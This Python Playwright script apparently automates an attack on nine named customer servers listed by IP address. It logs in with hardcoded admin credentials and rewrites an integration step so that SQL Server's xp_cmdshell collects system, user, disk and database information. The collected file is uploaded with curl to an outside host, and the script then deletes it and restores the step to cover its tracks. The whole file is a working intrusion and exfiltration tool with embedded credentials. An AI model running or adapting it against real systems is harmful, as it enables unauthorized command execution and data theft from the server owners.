#!/usr/bin/env python3
"""v22: Collect DB info + systeminfo from all 9 v5 customer servers.
SQL via Integration API: xp_cmdshell writes to file, curl uploads to ch12."""
import asyncio, json, re, time
from playwright.async_api import async_playwright

# All 9 v5 vulnerable servers
SERVERS = [
    ("198.251.74.25", "2210JWPERKINSUAP1"),
    ("198.71.52.102", "RTROGERSMBIL"),
    ("198.71.63.125", "CITYMARTUAPSINGLE"),
    ("198.71.63.125", "HuelsOilUAP1"),
    ("216.250.118.44", "CASSUAP4"),
    ("216.250.118.44", "RTROGERSMBIL"),
    ("66.175.236.165", "RTROGERSUAP1"),
    ("66.175.236.165", "RTROGERSUAP3"),
    ("74.208.83.171", "RTROGERSUAP1"),
]

# SQL that collects everything and writes to file, then uploads to ch12
SQL_COLLECT = r"""
DECLARE @cmd NVARCHAR(4000);
-- System info
SET @cmd = 'systeminfo > D:\sysinfo.txt & echo. >> D:\sysinfo.txt & echo ===WHOAMI=== >> D:\sysinfo.txt & whoami >> D:\sysinfo.txt & echo. >> D:\sysinfo.txt & echo ===DISK=== >> D:\sysinfo.txt & wmic logicaldisk get caption,freespace,size >> D:\sysinfo.txt & echo. >> D:\sysinfo.txt & echo ===SQLROLE=== >> D:\sysinfo.txt';
EXEC xp_cmdshell @cmd, no_output;
-- SQL role and version
SET @cmd = 'sqlcmd -Q "SELECT @@servername, @@version, IS_SRVROLEMEMBER(''sysadmin'') AS is_sysadmin, IS_SRVROLEMEMBER(''securityadmin'') AS is_secadmin" -W -s "|" -h -1 >> D:\sysinfo.txt';
EXEC xp_cmdshell @cmd, no_output;
-- Databases list
SET @cmd = 'echo. >> D:\sysinfo.txt & echo ===DATABASES=== >> D:\sysinfo.txt & sqlcmd -Q "SELECT d.name, m.size*8/1024 AS size_mb, m.physical_name FROM sys.databases d JOIN sys.master_files m ON m.database_id = d.database_id WHERE m.type=0 ORDER BY d.name" -W -s "|" -h -1 >> D:\sysinfo.txt';
EXEC xp_cmdshell @cmd, no_output;
-- Upload to ch12
SET @cmd = 'curl -sS -T D:\sysinfo.txt https://ch12.hostserviceapp.com';
EXEC xp_cmdshell @cmd;
"""

async def process_server(ip, app, browser):
    """Process one server: login, PUT SQL, ExecuteStep, restore."""
    context = await browser.new_context(viewport={"width":1920,"height":1080})
    page = await context.new_page()
    
    result = {"ip": ip, "app": app, "status": "unknown"}
    
    try:
        # Login
        login_ok = False
        for attempt in range(2):
            await page.goto(f"http://{ip}/{app}/login", wait_until="domcontentloaded", timeout=15000)
            await asyncio.sleep(2)
            await page.fill('input[name="Email"]', 'irelyadmin')
            await page.fill('input[name="Password"]', 'i21By2015')
            await page.evaluate('''() => { const c = document.querySelector('input[name="Company"]'); if (c) c.value = '01'; }''')
            await asyncio.sleep(1)
            await page.evaluate('document.querySelector("form").submit()')
            await asyncio.sleep(12)
            try: await page.wait_for_load_state("networkidle", timeout=15000)
            except: pass
            if "login" not in page.url.lower() or "#home" in page.url:
                login_ok = True
                break
        
        if not login_ok:
            result["status"] = "login_failed"
            return result
        
        # Find a step ID to use (step 2 worked before)
        step_id = 2
        
        # PUT: set strSQL to our collection SQL
        put_result = await page.evaluate(f'''async () => {{
            const stepData = [{{
                intStepId: {step_id},
                strStepName: "System Info Collection",
                intStepTypeId: 1,
                intConnectionId: 1,
                intSQLTypeId: 3,
                strSQL: `{SQL_COLLECT}`,
                intConcurrencyId: 1,
                strRowState: "Modified",
                ModifiedFields: ["intStepTypeId", "intSQLTypeId", "strSQL", "strStepName", "intStepId", "intConcurrencyId", "strRowState"]
            }}];
            
            const resp = await fetch('/{app}/integration/api/step/put/{step_id}?continueOnConflict=false', {{
                method: 'PUT',
                headers: {{'Content-Type': 'application/json'}},
                body: JSON.stringify(stepData),
                credentials: 'include'
            }});
            const text = await resp.text();
            return {{status: resp.status, body: text.substring(0, 300)}};
        }}''')
        
        if put_result['status'] not in (200, 202):
            result["status"] = f"put_failed_{put_result['status']}"
            return result
        
        await asyncio.sleep(2)
        
        # ExecuteStep
        exec_result = await page.evaluate(f'''async () => {{
            const resp = await fetch('/{app}/Integration/api/Execute/ExecuteStep', {{
                method: 'POST',
                headers: {{'Content-Type': 'application/json'}},
                body: JSON.stringify({{intStepId: {step_id}}}),
                credentials: 'include'
            }});
            const text = await resp.text();
            return {{status: resp.status, body: text.substring(0, 500)}};
        }}''')
        
        success_match = re.search(r'"success"\s*:\s*(true|false)', exec_result.get('body',''))
        msg_match = re.search(r'"statusText"\s*:\s*"([^"]*)"', exec_result.get('body',''))
        
        result["exec_status"] = exec_result['status']
        result["success"] = success_match.group(1) if success_match else "?"
        result["message"] = msg_match.group(1) if msg_match else ""
        
        if result["success"] == "true":
            result["status"] = "executed"
        else:
            result["status"] = f"exec_failed: {result['message'][:100]}"
        
        # Restore step
        await page.evaluate(f'''async () => {{
            const restore = [{{
                intStepId: {step_id},
                strSQL: null,
                intSQLTypeId: null,
                intStepTypeId: null,
                strStepName: null,
                intConcurrencyId: 2,
                strRowState: "Modified",
                ModifiedFields: ["strSQL", "intSQLTypeId", "strStepName", "intStepId", "intConcurrencyId", "strRowState"]
            }}];
            await fetch('/{app}/integration/api/step/put/{step_id}?continueOnConflict=false', {{
                method: 'PUT',
                headers: {{'Content-Type': 'application/json'}},
                body: JSON.stringify(restore),
                credentials: 'include'
            }});
        }}''')
        
        # Cleanup file on server — redefine restore data
        await page.evaluate(f'''async () => {{
            const cleanupSQL = "EXEC xp_cmdshell 'del D:\\\\sysinfo.txt', no_output";
            const cleanupData = [{{
                intStepId: {step_id},
                strStepName: "Cleanup",
                intStepTypeId: 1,
                intConnectionId: 1,
                intSQLTypeId: 3,
                strSQL: cleanupSQL,
                intConcurrencyId: 3,
                strRowState: "Modified",
                ModifiedFields: ["strSQL", "intStepTypeId", "intSQLTypeId", "strStepName", "intStepId", "intConcurrencyId", "strRowState"]
            }}];
            await fetch('/{app}/integration/api/step/put/{step_id}?continueOnConflict=false', {{
                method: 'PUT',
                headers: {{'Content-Type': 'application/json'}},
                body: JSON.stringify(cleanupData),
                credentials: 'include'
            }});
            await fetch('/{app}/Integration/api/Execute/ExecuteStep', {{
                method: 'POST',
                headers: {{'Content-Type': 'application/json'}},
                body: JSON.stringify({{intStepId: {step_id}}}),
                credentials: 'include'
            }});
            const restoreData = [{{
                intStepId: {step_id},
                strSQL: null,
                intSQLTypeId: null,
                intStepTypeId: null,
                strStepName: null,
                intConcurrencyId: 4,
                strRowState: "Modified",
                ModifiedFields: ["strSQL", "intSQLTypeId", "strStepName", "intStepId", "intConcurrencyId", "strRowState"]
            }}];
            await fetch('/{app}/integration/api/step/put/{step_id}?continueOnConflict=false', {{
                method: 'PUT',
                headers: {{'Content-Type': 'application/json'}},
                body: JSON.stringify(restoreData),
                credentials: 'include'
            }});
        }}''')
        
    except Exception as e:
        result["status"] = f"error: {str(e)[:100]}"
    finally:
        await context.close()
    
    return result

async def main():
    async with async_playwright() as p:
        browser = await p.chromium.launch(headless=True)
        
        print(f"=== Collecting DB info from {len(SERVERS)} v5 servers ===\n")
        print(f"{'IP':20s} {'App':30s} {'Status':40s}")
        print("-" * 95)
        
        results = []
        for ip, app in SERVERS:
            print(f"  Processing {ip}/{app}...", end="", flush=True)
            result = await process_server(ip, app, browser)
            results.append(result)
            
            status = result.get("status", "?")
            success = result.get("success", "")
            msg = result.get("message", "")[:30]
            
            marker = "✅" if status == "executed" else "❌"
            print(f" {marker} {status:40s} success={success} msg={msg}")
            
            time.sleep(5)  # delay between servers
        
        await browser.close()
        
        # Summary
        print("\n" + "=" * 95)
        print("\n=== SUMMARY ===")
        ok_count = sum(1 for r in results if r.get("status") == "executed")
        print(f"✅ Executed: {ok_count}/{len(results)}")
        for r in results:
            marker = "✅" if r.get("status") == "executed" else "❌"
            print(f"  {marker} {r['ip']:20s} {r['app']:30s} → {r.get('status','?')}")
        
        # Save results
        with open("/root/ir-assessment/redteam/irelydata/schema_inventory/db_collection_results.json", "w") as f:
            json.dump(results, f, indent=2)
        print(f"\nResults saved to db_collection_results.json")

asyncio.run(main())
